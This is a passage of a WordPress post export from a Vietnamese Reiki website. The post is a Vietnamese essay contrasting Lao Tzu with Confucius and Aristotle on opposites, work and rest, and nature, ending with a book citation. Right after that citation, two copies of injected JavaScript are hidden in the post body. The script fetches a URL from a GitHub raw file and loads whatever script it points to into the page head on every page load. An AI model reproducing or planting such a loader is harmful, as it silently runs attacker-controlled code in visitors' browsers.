\u00f4ng \u1ea5y c\u00f3 th\u1ec3 \u0111\u00fang.<\/p>\n<p>C\u00f3 m\u1ed9t c\u00e2u chuy\u1ec7n c\u1ed5: Chuy\u1ec7n k\u1ec3 r\u1eb1ng m\u1ed9t ng\u01b0\u1eddi gi\u00e0 \u0111i theo L\u00e3o T\u1eed, \u00f4ng \u1ea5y \u0111\u00e3 90 tu\u1ed5i, b\u1eadn r\u1ed9n k\u00e9o n\u01b0\u1edbc l\u00ean t\u1eeb gi\u1ebfng, c\u00f9ng v\u1edbi \u0111\u1ee9a con trai tr\u1ebb c\u1ee7a \u00f4ng \u1ea5y.<\/p>\n<p>Kh\u1ed5ng T\u1eed v\u00e0 L\u00e3o T\u1eed l\u00e0 nh\u1eefng ng\u01b0\u1eddi \u0111\u01b0\u01a1ng \u0111\u1ea1i. C\u00f3 nhi\u1ec1u kh\u00e1c bi\u1ec7t gi\u1eefa h\u1ecd nh\u01b0 gi\u1eefa Aristotle v\u00e0 L\u00e3o T\u1eed. Do \u0111\u00f3, c\u00e1ch ngh\u0129 c\u1ee7a Kh\u1ed5ng T\u1eed l\u00e0 c\u00e1ch ngh\u0129 c\u1ee7a Aristotle. Ph\u01b0\u01a1ng T\u00e2y \u0111\u00e3 t\u00f4n vinh Kh\u1ed5ng T\u1eed r\u1ea5t nhi\u1ec1u trong 300 n\u0103m n\u00e0y. Ch\u1ec9 b\u00e2y gi\u1edd L\u00e3o T\u1eed \u0111ang v\u01b0\u01a1n l\u00ean trong s\u1ef1 k\u00ednh m\u1ebfn c\u1ee7a h\u1ecd. \u0110i\u1ec1u n\u00e0y l\u00e0 v\u00ec khoa h\u1ecdc b\u00e2y gi\u1edd th\u1ea5y b\u1ea3n th\u00e2n n\u00f3 trong t\u00ecnh hu\u1ed1ng kh\u00f3 kh\u0103n k\u00ec l\u1ea1 v\u00e0 b\u1ecb \u0111\u1ed1i di\u1ec7n v\u1edbi kh\u00f3 kh\u0103n l\u1edbn.<\/p>\n<p>Ti\u1ebfp t\u1ee5c c\u00e2u chuy\u1ec7n c\u1ee7a ch\u00fang ta: Kh\u1ed5ng T\u1eed ng\u1eabu nhi\u00ean \u0111i ngang qua. \u00d4ng ta th\u1ea5y m\u1ed9t \u00f4ng gi\u00e0 v\u00e0 con trai tr\u1ebb c\u1ee7a \u00f4ng \u1ea5y, th\u1eafng \u00e1ch c\u00f9ng nhau k\u00e9o n\u01b0\u1edbc l\u00ean t\u1eeb gi\u1ebfng. \u00d4ng ta tr\u00e0n \u0111\u1ea7y l\u00f2ng t\u1eeb bi. \u00d4ng ta \u0111i t\u1edbi \u00f4ng gi\u00e0 v\u00e0 n\u00f3i: &#8220;\u00d4ng kh\u00f4ng bi\u1ebft sao, \u00f4ng b\u1ea1n h\u01a1i ngu n\u00e0y, r\u1eb1ng gi\u1edd ch\u00fang ta th\u1eafng ng\u1ef1a hay b\u00f2 \u0111\u1ec3 l\u00e0m vi\u1ec7c n\u00e0y? Sao \u00f4ng l\u00e0m m\u1ec7t b\u1ea3n th\u00e2n \u00f4ng v\u00e0 c\u1eadu tr\u1ebb n\u00e0y m\u1ed9t c\u00e1ch kh\u00f4ng c\u1ea7n thi\u1ebft th\u1ebf?&#8221;<\/p>\n<p>\u00d4ng gi\u00e0 n\u00f3i, &#8220;Im \u0111i! Xin \u00f4ng n\u00f3i khe kh\u1ebd th\u00f4i \u0111\u1ec3 cho con trai t\u00f4i kh\u00f4ng nghe th\u1ea5y! T\u1edbi sau m\u1ed9t l\u00fac n\u1eefa khi con trai t\u00f4i \u0111i \u0103n tr\u01b0a.&#8221; Kh\u1ed5ng T\u1eed l\u00fang t\u00fang. Khi anh thanh ni\u00ean \u0111i r\u1ed3i, \u00f4ng ta h\u1ecfi \u00f4ng gi\u00e0 n\u00e0y, &#8220;Sao \u00f4ng kh\u00f4ng \u0111\u1ec3 cho con \u00f4ng nghe \u0111i\u1ec1u t\u00f4i \u0111\u00e3 n\u00f3i?&#8221; \u00d4ng gi\u00e0 \u0111\u00e1p, &#8220;T\u00f4i \u0111\u00e3 90 tu\u1ed5i r\u1ed3i v\u00e0 v\u1eady m\u00e0 t\u00f4i v\u1eabn c\u00f2n m\u1ea1nh \u0111\u1ec3 l\u00e0m vi\u1ec7c b\u00ean c\u1ea1nh thanh ni\u00ean 30 tu\u1ed5i. N\u1ebfu t\u00f4i thu\u00ea ng\u1ef1a \u0111\u1ec3 k\u00e9o n\u01b0\u1edbc, con trai t\u00f4i s\u1ebd kh\u00f4ng c\u00f3 c\u00f9ng s\u1ee9c m\u1ea1nh l\u00fac 90 tu\u1ed5i, nh\u01b0 t\u00f4i c\u00f3 b\u00e2y gi\u1edd. Cho n\u00ean t\u00f4i xin \u00f4ng, \u0111\u1eebng n\u00f3i \u0111i\u1ec1u n\u00e0y tr\u01b0\u1edbc con trai t\u00f4i. \u0110\u00f3 l\u00e0 v\u1ea5n \u0111\u1ec1 v\u1ec1 m\u1ea1nh kho\u1ebb c\u1ee7a n\u00f3. Ch\u00fang t\u00f4i \u0111\u00e3 nghe n\u00f3i \u0111i\u1ec1u \u0111\u00f3 trong th\u1ecb tr\u1ea5n, ng\u1ef1a k\u00e9o n\u01b0\u1edbc t\u1eeb gi\u1ebfng. Ch\u00fang t\u00f4i c\u0169ng bi\u1ebft r\u1eb1ng c\u00f3 m\u00e1y m\u00f3c l\u00e0m vi\u1ec7c n\u00e0y n\u1eefa. Nh\u01b0ng th\u1ebf th\u00ec con trai t\u00f4i s\u1ebd l\u00e0m g\u00ec? \u0110i\u1ec1u g\u00ec s\u1ebd x\u1ea3y ra cho m\u1ea1nh kho\u1ebb c\u1ee7a n\u00f3, th\u1ec3 tr\u1ea1ng c\u1ee7a n\u00f3?&#8221;<\/p>\n<p>\u0110i\u1ec1u ch\u00fang ta l\u00e0m m\u1ed9t m\u1eb7t c\u00f3 hi\u1ec7u qu\u1ea3 t\u1ee9c kh\u1eafc l\u00ean ng\u01b0\u1eddi kh\u00e1c.<\/p>\n<p>N\u1ebfu L\u00e3o T\u1eed l\u00e0 \u0111\u00fang, k\u1ebft qu\u1ea3 s\u1ebd l\u00e0 tai h\u1ea1i. Ch\u1eb3ng h\u1ea1n: Ch\u00fang ta mu\u1ed1n ng\u1ee7 ngon. Ng\u01b0\u1eddi ao \u01b0\u1edbc ng\u1ee7 ngon kh\u00f4ng th\u1ef1c s\u1ef1 th\u00edch ngh\u1ec9 ng\u01a1i. V\u00e0 ng\u01b0\u1eddi kh\u00f4ng l\u00e0m vi\u1ec7c qu\u1ea7n qu\u1eadt, kh\u00f4ng th\u1ec3 ng\u1ee7 say \u0111\u01b0\u1ee3c. L\u00e3o T\u1eed n\u00f3i, &#8220;L\u00e0m vi\u1ec7c v\u00e0 ngh\u1ec9 ng\u01a1i c\u1ea3 hai \u0111\u01b0\u1ee3c th\u1ed1ng nh\u1ea5t. N\u1ebfu \u00f4ng ao \u01b0\u1edbc th\u1ea3nh th\u01a1i, l\u00e0m vi\u1ec7c qu\u1ea7n qu\u1eadt \u0111i.&#8221; N\u1ed7 l\u1ef1c v\u1ea5t v\u1ea3 t\u1edbi m\u1ee9c th\u1ea3nh th\u01a1i gi\u00e1ng l\u00ean b\u1ea1n. B\u00e2y gi\u1edd n\u1ebfu ch\u00fang ta ngh\u0129 theo c\u00e1ch th\u1ee9c Aristotle, l\u00e0m vi\u1ec7c v\u00e0 ngh\u1ec9 ng\u01a1i l\u00e0 kh\u00e1c nhau v\u00e0 \u0111\u1ed1i l\u1eadp. N\u1ebfu t\u00f4i th\u00edch ngh\u1ec9 ng\u01a1i v\u00e0 tho\u1ea3i m\u00e1i, v\u00e0 ao \u01b0\u1edbc ng\u1ee7 say, t\u00f4i s\u1ebd ch\u1ec9 ng\u1ed3i \u0111\u00f3 c\u1ea3 ng\u00e0y v\u00e0 kh\u00f4ng l\u00e0m g\u00ec. Nh\u01b0ng ng\u01b0\u1eddi ngh\u1ec9 c\u1ea3 ng\u00e0y ph\u00e1 hu\u1ef7 gi\u1ea5c ng\u1ee7 ban \u0111\u00eam c\u1ee7a m\u00ecnh. Ngh\u1ec9 ng\u01a1i ph\u1ea3i \u0111\u01b0\u1ee3c thu l\u1ea5y qua lao \u0111\u1ed9ng. B\u1eb1ng kh\u00f4ng, b\u1ea1n s\u1ebd ph\u1ea3i tr\u1ea3i qua \u0111\u00eam m\u1ea5t ng\u1ee7.<\/p>\n<p>\u0110i\u1ec1u kh\u00e1c x\u1ea3y ra l\u00e0 \u1edf ch\u1ed7 ng\u01b0\u1eddi y\u00eau th\u00edch tho\u1ea3i m\u00e1i, th\u1ea3nh th\u01a1i c\u1ea3 ng\u00e0y c\u00e0ng l\u00e0m m\u1ea5t ngh\u1ec9 ng\u01a1i ban \u0111\u00eam c\u1ee7a m\u00ecnh. B\u00e2y gi\u1edd \u0111\u00eam c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3 c\u00e0ng tr\u1edf n\u00ean m\u1ea5t ng\u1ee7, ng\u01b0\u1eddi \u0111\u00f3 c\u00e0ng ngh\u1ec9 nhi\u1ec1u h\u01a1n ng\u00e0y h\u00f4m sau \u0111\u1ec3 b\u00f9 l\u1ea1i cho gi\u1ea5c ng\u1ee7 b\u1ecb m\u1ea5t. Th\u1ebf th\u00ec \u0111\u00eam c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3 l\u1ea1i c\u00e0ng tr\u1edf n\u00ean m\u1ea5t ng\u1ee7 h\u01a1n. Th\u1ebf r\u1ed3i ng\u01b0\u1eddi \u0111\u00f3 th\u1ea5y b\u1ea3n th\u00e2n m\u00ecnh trong v\u00f2ng lu\u1ea9n qu\u1ea9n, n\u01a1i vi\u1ec7c ngh\u1ec9 ng\u01a1i tr\u1edf th\u00e0nh kh\u00f4ng th\u1ec3 \u0111\u01b0\u1ee3c.<\/p>\n<p>L\u00e3o T\u1eed n\u00f3i: &#8220;N\u1ebfu \u00f4ng \u01b0\u1edbc ao ngh\u1ec9 ng\u01a1i, \u0111i theo c\u00e1ch \u0111\u1ed1i l\u1eadp &#8211; l\u00e0m vi\u1ec7c v\u1ea5t v\u1ea3 v\u00e0o!&#8221; \u0110i\u1ec1u n\u00e0y l\u00e0 v\u00ec ngh\u1ec9 ng\u01a1i v\u00e0 l\u00e0m vi\u1ec7c l\u00e0 kh\u00f4ng \u0111\u1ed1i l\u1eadp nh\u01b0ng \u0111\u01b0\u1ee3c li\u00ean k\u1ebft, ch\u00fang l\u00e0 nh\u1eefng k\u1ebb c\u1ed9ng t\u00e1c. B\u1ea1n c\u00e0ng l\u00e0m vi\u1ec7c v\u1ea5t v\u1ea3, b\u1ea1n s\u1ebd c\u00e0ng ng\u1ee7 say. \u0110i\u1ec1u \u0111\u1ed1i l\u1eadp c\u0169ng \u0111\u00fang: b\u1ea1n c\u00e0ng ng\u1ee7 ngon, n\u0103ng l\u1ef1c l\u00e0m vi\u1ec7c c\u1ee7a b\u1ea1n s\u1ebd c\u00e0ng l\u1edbn h\u01a1n, &#8220;M\u1ed9t khi ch\u00fang ta hi\u1ec3u \u0111i\u1ec1u n\u00e0y,&#8221; L\u00e3o T\u1eed n\u00f3i, &#8220;th\u1ebf th\u00ec v\u1ea5n \u0111\u1ec1 c\u00f2n l\u1ea1i kh\u00f4ng l\u00e0 ph\u00e1 hu\u1ef7 c\u00e1i \u0111\u1ed1i l\u1eadp m\u00e0 l\u00e0 vi\u1ec7c d\u00f9ng n\u00f3.&#8221;<\/p>\n<p>Aristotle n\u00f3i, &#8220;T\u1ef1 nhi\u00ean g\u00e2y ra \u1ed1m b\u1ec7nh, cho n\u00ean tranh \u0111\u1ea5u v\u1edbi t\u1ef1 nhi\u00ean.&#8221; Do \u0111\u00f3 to\u00e0n th\u1ec3 khoa h\u1ecdc ph\u01b0\u01a1ng T\u00e2y \u0111\u01b0\u1ee3c d\u1ef1a tr\u00ean tranh \u0111\u1ea5u v\u1edbi t\u1ef1 nhi\u00ean. To\u00e0n th\u1ec3 ng\u00f4n ng\u1eef c\u1ee7a n\u00f3 l\u00e0 v\u1ec1 xung \u0111\u1ed9t. Bertrand Russell \u0111\u00e3 vi\u1ebft m\u1ed9t cu\u1ed1n s\u00e1ch: &#8220;Chinh ph\u1ee5c t\u1ef1 nhi\u00ean&#8221;, \u0111\u00f3 t\u1ea5t c\u1ea3 l\u00e0 trong ng\u00f4n ng\u1eef chi\u1ebfn tranh. L\u00e3o T\u1eed ch\u1eafc s\u1ebd c\u01b0\u1eddi! \u00d4ng \u1ea5y ch\u1eafc s\u1ebd n\u00f3i, &#8220;C\u00e1c \u00f4ng ch\u1eb3ng c\u00f3 \u00fd t\u01b0\u1edfng g\u00ec v\u1ec1 c\u00e1c \u00f4ng l\u00e0 m\u1ed9t ph\u1ea7n c\u1ee7a t\u1ef1 nhi\u00ean. L\u00e0m sao c\u00e1c \u00f4ng s\u1ebd th\u1eafng?&#8221; C\u00e1i g\u00ec s\u1ebd x\u1ea3y ra n\u1ebfu tay t\u00f4i b\u1eaft \u0111\u1ea7u chinh ph\u1ee5c t\u00f4i; n\u1ebfu ch\u00e2n t\u00f4i \u01b0\u1edbc mu\u1ed1n \u0111\u00e1nh b\u1ea1i t\u00f4i? \u0110i\u1ec1u \u0111\u00f3 s\u1ebd l\u00e0 ngu xu\u1ea9n r\u00e0nh r\u00e0nh. L\u00e3o T\u1eed n\u00f3i, &#8220;T\u1ef1 nhi\u00ean kh\u00f4ng th\u1ec3 b\u1ecb chinh ph\u1ee5c v\u00ec b\u1ea3n th\u00e2n \u00f4ng l\u00e0 t\u1ef1 nhi\u00ean.&#8221; Ng\u01b0\u1eddi b\u1eaft \u0111\u1ea7u lao v\u00e0o tranh \u0111\u1ea5u v\u1edbi t\u1ef1 nhi\u00ean ch\u00ednh l\u00e0 m\u1ed9t ph\u1ea7n t\u00edch h\u1ee3p c\u1ee7a b\u1ea3n th\u00e2n t\u1ef1 nhi\u00ean v\u00e0 do v\u1eady ng\u01b0\u1eddi \u0111\u00f3 ch\u1ec9 th\u00e0nh c\u00f4ng trong vi\u1ec7c t\u1ea1o ra c\u0103ng th\u1eb3ng v\u00e0 r\u1ed1i lo\u1ea1n b\u00ean trong c\u00e1i ng\u00e3 ri\u00eang c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3. S\u1ed1ng trong t\u1ef1 nhi\u00ean \u0111i, \u0111\u1eebng c\u1ed1 chinh ph\u1ee5c n\u00f3. \u0110\u1eebng tranh \u0111\u1ea5u v\u1edbi t\u1ef1 nhi\u00ean \u0111\u1ec3 bi\u1ebft c\u00e1c b\u00ed m\u1eadt c\u1ee7a n\u00f3. Y\u00eau n\u00f3, \u0111\u01b0\u1ee3c h\u1ea5p thu trong n\u00f3 v\u00e0 n\u00f3 s\u1ebd kh\u1ea3i l\u1ed9 m\u1ecdi \u0111i\u1ec1u huy\u1ec1n b\u00ed c\u1ee7a n\u00f3.<\/p>\n<p>N\u1ebfu c\u1ea5u tr\u00fac c\u1ee7a khoa h\u1ecdc \u0111\u01b0\u1ee3c d\u1ef1a tr\u00ean L\u00e3o T\u1eed, n\u00f3 s\u1ebd l\u00e0 khoa h\u1ecdc kh\u00e1c to\u00e0n b\u1ed9. Ng\u00f4n ng\u1eef c\u1ee7a n\u00f3 s\u1ebd l\u00e0 ng\u00f4n ng\u1eef c\u1ee7a c\u1ed9ng t\u00e1c, ch\u1ec9 th\u1ebf th\u00ec ch\u00fang ta c\u00f3 th\u1ec3 ngh\u0129 theo chi\u1ec1u kh\u00e1c. Ng\u01b0\u1eddi ngh\u0129 d\u01b0\u1edbi d\u1ea1ng xung \u0111\u1ed9t, logic c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3 bao gi\u1edd c\u0169ng l\u00e0 A l\u00e0 A v\u00e0 B l\u00e0 B v\u00e0 n\u1ebfu b\u1ea1n mu\u1ed1n \u0111\u1ea1t t\u1edbi A, b\u1ea1n ph\u1ea3i ph\u00e1 hu\u1ef7 B, A ch\u1ec9 t\u0103ng l\u00ean n\u1ebfu B b\u1ecb gi\u1ea3m \u0111i. Cho n\u00ean theo \u00f4ng \u1ea5y, n\u1ebfu b\u1ea1n mu\u1ed1n m\u1ea1nh kho\u1ebb, tranh \u0111\u1ea5u v\u1edbi \u1ed1m b\u1ec7nh. Xo\u00e1 b\u1ecf \u1ed1m b\u1ec7nh \u0111\u1ec3 th\u00fac \u0111\u1ea9y m\u1ea1nh kho\u1ebb h\u01a1n.<\/p>\n<p>T\u00f4i \u0111\u00e3 \u0111\u1ecdc h\u1ed3i k\u00ed c\u1ee7a Rothschilde trong \u0111\u00f3 \u00f4ng \u1ea5y vi\u1ebft r\u1eb1ng \u00f4ng \u1ea5y \u0111\u00e3 l\u1eafp m\u00e1y \u0111i\u1ec1u ho\u00e0 kh\u00f4ng kh\u00ed cho to\u00e0n th\u1ec3 nh\u00e0 c\u1ee7a \u00f4ng \u1ea5y &#8211; th\u1eadm ch\u00ed c\u1ea3 h\u00e0nh lang! Khi \u00f4ng \u1ea5y v\u1ec1 t\u1edbi nh\u00e0 trong xe h\u01a1i c\u00f3 \u0111i\u1ec1u ho\u00e0 kh\u00f4ng kh\u00ed t\u1eeb v\u0103n ph\u00f2ng c\u00f3 \u0111i\u1ec1u ho\u00e0 kh\u00f4ng kh\u00ed, c\u1eeda h\u00e0nh lang t\u1ef1 \u0111\u1ed9ng m\u1edf v\u00e0 \u00f4ng \u1ea5y b\u01b0\u1edbc th\u1eb3ng v\u00e0o trong nh\u00e0 c\u1ee7a \u00f4ng \u1ea5y.<\/p>\n<p>Th\u1ebf r\u1ed3i d\u1ea7n d\u1ea7n Rothschilde th\u1ea5y b\u1ea3n th\u00e2n \u00f4ng \u1ea5y b\u1ecb r\u1ea5t nhi\u1ec1u b\u1ec7nh. B\u00e1c s\u0129 c\u1ee7a \u00f4ng \u1ea5y khuy\u00ean \u00f4ng \u1ea5y ng\u1ed3i trong b\u1ed3n t\u1eafm n\u01b0\u1edbc n\u00f3ng hai gi\u1edd h\u00e0ng ng\u00e0y. Th\u1ebf l\u00e0 \u00f4ng \u1ea5y ng\u1ed3i trong b\u1ed3n t\u1eafm v\u00e0 t\u1ef1 m\u00ecnh to\u00e1t m\u1ed3 h\u00f4i ra. Th\u1ebf r\u1ed3i \u00f4ng \u1ea5y nh\u1eadn ra \u0111i\u1ec1u \u00f4ng \u1ea5y \u0111\u00e3 l\u00e0m! B\u1eb1ng vi\u1ec7c s\u1ed1ng trong m\u00f4i tr\u01b0\u1eddng bao quanh c\u00f3 \u0111i\u1ec1u ho\u00e0 kh\u00f4ng kh\u00ed hai m\u01b0\u01a1i b\u1ed1n ti\u1ebfng \u00f4ng \u1ea5y \u0111\u00e3 ng\u0103n c\u1ea3n th\u00e2n th\u1ec3 kh\u1ecfi to\u00e1t m\u1ed3 h\u00f4i. B\u1eb1ng vi\u1ec7c ng\u1ed3i trong b\u1ed3n t\u1eafm th\u00e2n th\u1ec3 \u00f4ng \u1ea5y to\u00e1t m\u1ed3 h\u1ed3i v\u00e0 \u00f4ng \u1ea5y c\u1ea3m th\u1ea5y n\u00f3ng, th\u1ebf r\u1ed3i \u00f4ng \u1ea5y l\u1ea1i \u0111i sang ph\u00f2ng c\u00f3 \u0111i\u1ec1u ho\u00e0 v\u00e0 l\u00e0m m\u00e1t b\u1ea3n th\u00e2n \u00f4ng \u1ea5y! Th\u1ebf r\u1ed3i khi \u00f4ng \u1ea5y tr\u1edf n\u00ean l\u1ea1nh h\u01a1n v\u00e0 kh\u00f4ng th\u1ec3 v\u00e3 m\u1ed3 h\u00f4i, \u00f4ng \u1ea5y ng\u00e3 b\u1ec7nh. B\u1ea3n th\u00e2n \u00f4ng \u1ea5y ng\u1ea1c nhi\u00ean v\u1ec1 \u0111i\u1ec1u \u00f4ng \u1ea5y \u0111\u00e3 l\u00e0m! Ng\u00f4n ng\u1eef c\u1ee7a xung \u0111\u1ed9t l\u00e0 t\u1edbi m\u1ee9c n\u00f3 \u0111\u1eb7t ch\u00fang ta v\u00e0o trong phi\u1ec1n ph\u1ee9c v\u00e0 l\u00fang t\u00fang.<\/p>\n<p>L\u00e3o T\u1eed n\u00f3i, &#8220;C\u00e1i m\u00e0 ch\u00fang ta coi l\u00e0 \u0111\u1ea3o ng\u01b0\u1ee3c v\u00e0 m\u00e2u thu\u1eabn, th\u1ef1c t\u1ea1i l\u00e0 kh\u00f4ng nh\u01b0 v\u1eady.&#8221; N\u1ebfu b\u1ea1n \u01b0\u1edbc ao t\u1eadn h\u01b0\u1edfng l\u1ea1nh, b\u1ea1n kh\u00f4ng th\u1ec3 l\u00e0m nh\u01b0 v\u1eady m\u00e0 kh\u00f4ng t\u1eadn h\u01b0\u1edfng m\u1eb7t tr\u1eddi. \u0110i\u1ec1u n\u00e0y c\u00f3 th\u1ec3 d\u01b0\u1eddng nh\u01b0 m\u00e2u thu\u1eabn nh\u01b0ng t\u00f4i n\u00f3i, L\u00e3o T\u1eed l\u00e0 \u0111\u00fang. L\u1ea1nh kh\u00f4ng th\u1ec3 \u0111\u01b0\u1ee3c t\u1eadn h\u01b0\u1edfng m\u00e0 kh\u00f4ng c\u00f3 n\u00f3ng v\u00e0 ng\u01b0\u1eddi \u0111\u00e3 kh\u00f4ng t\u1eadn h\u01b0\u1edfng vui th\u00fa c\u1ee7a v\u00e3 m\u1ed3 h\u00f4i, th\u00ec kh\u00f4ng c\u00f3 n\u0103ng l\u1ef1c t\u1eadn h\u01b0\u1edfng th\u1eddi ti\u1ebft l\u1ea1nh, v\u00ec th\u1ebf th\u00ec n\u00f3 s\u1ebd tr\u1edf th\u00e0nh \u1ed1m cho ng\u01b0\u1eddi \u0111\u00f3. Ng\u01b0\u1eddi \u0111\u00e3 c\u00f3 vui th\u00fa v\u1ec1 m\u1ed3 h\u00f4i ch\u1ea3y xu\u1ed1ng m\u1eb7t m\u00ecnh, m\u1ed9t m\u00ecnh ng\u01b0\u1eddi \u0111\u00f3 c\u00f3 th\u1ec3 t\u1eadn h\u01b0\u1edfng c\u00e1i m\u00e1t m\u1ebb c\u1ee7a c\u00e1i l\u1ea1nh. Th\u1ef1c t\u1ea1i, ng\u01b0\u1eddi kh\u00f4ng bi\u1ebft tr\u1eddi l\u00e0 n\u00f3ng, th\u00ec kh\u00f4ng th\u1ec3 bi\u1ebft m\u00e1t m\u1ebb l\u00e0 g\u00ec. \u0110i\u1ec1u n\u00e0y kh\u00f4ng \u0111\u1ed1i l\u1eadp v\u1edbi nhau, \u0111i\u1ec1u n\u00e0y l\u00e0 \u0111\u01b0\u1ee3c k\u1ebft h\u1ee3p. N\u00f3 l\u00e0 li\u00ean minh c\u1ee7a c\u1ea3 hai, c\u00e1i t\u1ea1o n\u00ean giai \u0111i\u1ec7u c\u1ee7a s\u1ef1 s\u1ed1ng.<\/p>\n<p>&nbsp;<\/p>\n<p>T\u1eeb \u201cCon \u0111\u01b0\u1eddng \u0110\u1ea1o\u201d, T.1, Ch.6 Nh\u1ea1c c\u1ee7a n\u1ed1t \u0111\u1ed1i l\u1eadp<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nan D\u1ecb t\u01b0\u01a1ng th\u00e0nh, Tr\u01b0\u1eddng \u0110o\u1ea3n t\u01b0\u01a1ng h\u00ecnh, &nbsp; Kh\u00f3 v\u00e0 D\u1ec5 c\u00f9ng th\u00e0nh, D\u00e0i v\u00e0 Ng\u1eafn c\u00f9ng h\u00ecnh, &nbsp; L\u00e3o T\u1eed n\u00f3i &#8220;Kh\u00f3 v\u00e0 &hellip; <\/p>\n","protected":false},"author":3,"featured_media":4288,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[57],"tags":[],"class_list":["post-4287","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-quan-sat-nhan-biet"],"_links":{"self":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/4287","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4287"}],"version-history":[{"count":3,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/4287\/revisions"}],"predecessor-version":[{"id":4607,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/4287\/revisions\/4607"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/media\/4288"}],"wp:attachment":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4287"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4287"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4287"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}